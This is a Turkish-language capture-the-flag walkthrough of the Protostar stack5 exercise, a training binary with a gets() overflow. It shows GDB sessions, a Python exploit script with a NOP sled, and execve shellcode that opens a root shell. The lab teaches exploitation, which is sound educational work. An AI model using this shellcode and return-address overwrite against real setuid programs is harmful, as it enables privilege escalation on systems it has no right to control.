Stack5.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Önceki seviyeden farkı burada zıplanabilecek herhanbgi bir fonksiyon yok!
Amaç: stack taşırılarak eip
değerini stackten bir adresi gösterecek
şekilde ayarlayıp shellcode çalıştırmak.
Programın Çalıştırılması
user@protostar:/opt/protostar/bin$ ./stack5
user@protostar:/opt/protostar/bin$ python -c "print 'A'*100" | ./stack5
Segmentation fault
Dönüş adresini tespit etmek
user@protostar:/opt/protostar/bin$ ./stack4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFF
Segmentation fault
user@protostar:/opt/protostar/bin$ dmesg | tail -1
[16102.708303] stack4[1893]: segfault at 45454545 ip 45454545 sp bffffce0 error 4
Programa yukarıdaki gibi uzun bir string verdikten sonra segmentation fault
alıyoruz ve dmesg çıktısına baktığımızda ip
registerinin 45454545
olduğunu
görüyoruz.
GDB kullanarak aynı şekilde bu bilgiye ulaşılabilir.
user@protostar:/opt/protostar/bin$ gdb stack5 -q
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x50
0x080483cd <main+9>: lea eax,[esp+0x10]
0x080483d1 <main+13>: mov DWORD PTR [esp],eax
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) b *main+22
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r
Starting program: /opt/protostar/bin/stack5
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFF
Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x4444444c
) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x45454545 in ?? ()
Tabiki eip değiştirebilmek kod işletebilmek için yeterli değil. Stackte kod işletilebildiği durumlarda, eip’ye stackten bir adresi göstermesini sağlayabilirsek istediğimiz shell kodunu çalıştırabiliriz.
Stack adresini bulmak
Yukarıdaki oturumdan devam ederek registerlerin durumuna bakarsak eğer esp bize stack pointerin en üst noktasının adresini verecektir.
(gdb) i r
eax 0xbffff730 -1073744080
ecx 0xbffff730 -1073744080
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff780 0xbffff780
ebp 0x44444444 0x44444444
esi 0x0 0
edi 0x0 0
eip 0x45454545 0x45454545
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Peki stackte nereye atlamalı
Stack’e bakacak olursak input olarak verdiğimiz A karakterlerini görebiliyoruz.
(gdb) x/64wx $esp-100
0xbffff71c: 0x080483d9 0xbffff730 0xb7ec6165 0xbffff738
0xbffff72c: 0xb7eada75 0x41414141 0x41414141 0x41414141
0xbffff73c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff74c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff75c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff76c: 0x41414141 0x42424242 0x43434343 0x44444444
0xbffff77c: 0x45454545 0x46464646 0xbffff800 0xbffff82c
0xbffff78c: 0xb7fe1848 0xbffff7e0 0xffffffff 0xb7ffeff4
0xbffff79c: 0x08048232 0x00000001 0xbffff7e0 0xb7ff0626
0xbffff7ac: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7bc: 0x00000000 0xbffff7f8 0x0b564e3d 0x2101382d
0xbffff7cc: 0x00000000 0x00000000 0x00000000 0x00000001
0xbffff7dc: 0x08048310 0x00000000 0xb7ff6210 0xb7eadb9b
0xbffff7ec: 0xb7ffeff4 0x00000001 0x08048310 0x00000000
0xbffff7fc: 0x08048331 0x080483c4 0x00000001 0xbffff824
0xbffff80c: 0x080483f0 0x080483e0 0xb7ff1040 0xbffff81c
\x45
leri değiştirerek eipyi kontrol edebiliyorduk. Stackte daha derinlere
yazabiliyorsak o zaman shellcode’u eip’den bir sonraki adıma bırakır ve eip’yi
kendinden bir sonraki adresi gösterecek şekilde ayarlayabilirsek programın
devamında istediğimiz kodu çalıştırabiliriz.
Kod üzerinde anlaması daha kolay olacağından ufaktan script yazalım.
stack5.py
padding = "\x41"*76
eip = "\xb8\xf7\xff\xbf"
nop = "\x90"
trap = "\xCC"*4
print padding + eip + nop*40 + trap
Koddaki \x90
lar NOPcode olarak bilinen işlemcinin o süreyi boş geçmesini
sağlayan işlemci komutudur. Kısaca bu adreslerden birini çalıştırmayı
başlatabilirsek ileride çarpacağı herhangi bir komutu çalıştırmaya devam
edecektir.
user@protostar:~$ python stack5.py | /opt/protostar/bin/stack5
Trace/breakpoint trap
Görüldüğü üzere \xCC
bir işlemci tuzak kodudur. Debug işlemlerinde
breakpoint’ler bu şekilde sağlanır.
Yukarıdaki kodda eip adresi, NOP
kodlarının olduğu herhangi bir yer olabilir.
Root
Koddaki trapleri kaldırıp shellcode yerleştirdiğimiz zaman teorik olarak root shellimiz bizi bekliyor olacak.
padding = "\x41"*76
eip = "\xb8\xf7\xff\xbf"
nop = "\x90"
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
print padding + eip + nop*40 + shellcode
user@protostar:~$ python stack5.py | /opt/protostar/bin/stack5
user@protostar:~$ python stack5.py | /opt/protostar/bin/stack5
user@protostar:~$
Burada Linux’ta bulunan |
işaretinden kaynaklı bir sorun var. Pipe soldaki
programın çıktısını sağdaki programa input olarak veriyor böylelikle stack5
programına istediğimiz inputu istediğimiz şekilde verebiliyoruz. Fakat soldaki
program; ekrana bufferi doldurup, eip adresini güncelleyip, bir sürü nop
ekledikten sonra shellcode yazıp kapanıyor. Böylelikle biz stack5’te kod işletme
hakkımız olmasına rağmen programdan çıkıyoruz.
Linuxta bulunan cat
programı dosyaların içeriğini terminale basmakta
kullanılabileceği gibi hiç bir argüman verilmemesi durumunda her satırı iki kere
ekrana basar.
user@protostar:~$ cat
stack5 <- input
stack5 -> output
Python kodumuzu ve cat’i birleştirerek root kabuğu elde edilebilir.
user@protostar:~$ whoami
user
user@protostar:~$ whoami
user
user@protostar:~$ (python stack5.py;cat) | /opt/protostar/bin/stack5
whoami
root
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)